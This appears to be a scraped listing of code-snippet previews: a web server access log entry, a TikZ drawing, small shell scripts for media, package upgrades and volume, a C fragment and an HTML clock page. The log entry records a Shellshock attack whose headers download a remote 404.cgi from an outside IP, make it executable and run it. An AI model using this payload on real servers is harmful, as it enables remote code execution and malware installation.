This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
176.67.167.180 - - [05/Oct/2014:11:14:20 -0500] "GET /?x=() { :; }; echo Content-type:text/plain;echo;ech | |
o;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp | |
/404.cgi;rm -rf /tmp/404.cgi* HTTP/1.0" 200 1959 "() { :; }; echo Content-type:text/plain;echo;echo;echo | |
M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cg | |
i;rm -rf /tmp/404.cgi*" "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget - | |
O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
\documentclass{standalone} | |
\usepackage{tikz} | |
\begin{document} | |
\begin{tikzpicture} | |
% outside border | |
\draw[step=1cm,gray,very thin] (-1.9,-1.9) rectangle (31.9,6.9); | |
% back panel frame | |
\draw (0,0) rectangle(30,5); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
fname=$(zenity --file-selection 2>/dev/null) | |
if [ -r "$fname" ]; then | |
mpv "$fname" | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
pkg="$1" | |
shift | |
if [ -z $pkg ]; then | |
echo "usage: $0 <pkg>" | |
exit | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# xupavail - see how many packages are available for upgrade | |
SUDO= | |
if command -v sudo >/dev/null && | |
sudo -l | grep -q -e ' ALL$' -e xbps-install; then | |
SUDO=sudo | |
elif [ "$(whoami)" != root ]; then | |
SUDO='su root -c '\''"$@"'\'' -- -' | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# xupavail - counts the number of packages available for update | |
SUDO= | |
if command -v sudo >/dev/null && | |
sudo -l | grep -q -e ' ALL$' -e xbps-install; then | |
SUDO=sudo | |
elif [ "$(whoami)" != root ]; then | |
SUDO='su root -c '\''"$@"'\'' -- -' | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
case "$1" in | |
"up" ) | |
pactl set-sink-mute @DEFAULT_SINK@ false | |
pactl set-sink-volume @DEFAULT_SINK@ +5% | |
;; | |
"down" ) | |
pactl set-sink-mute @DEFAULT_SINK@ false | |
pactl set-sink-volume @DEFAULT_SINK@ -5% |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <stdint.h> | |
int main(int argc, const char *argv[]) | |
{ | |
uint8_t b = 0, c = 128; | |
int i; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<style> | |
body { | |
background-color: black | |
} | |
</style> | |
<title>US Gov't Shutdown Clock</title> | |
</head> | |
<body> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
SORT="cat" | |
if [ "$1" = "-r" ]; then | |
shift | |
SORT="sort -R" | |
fi | |
if [ -z "$1" ] || [ "$1" = "-h" ]; then |
OlderNewer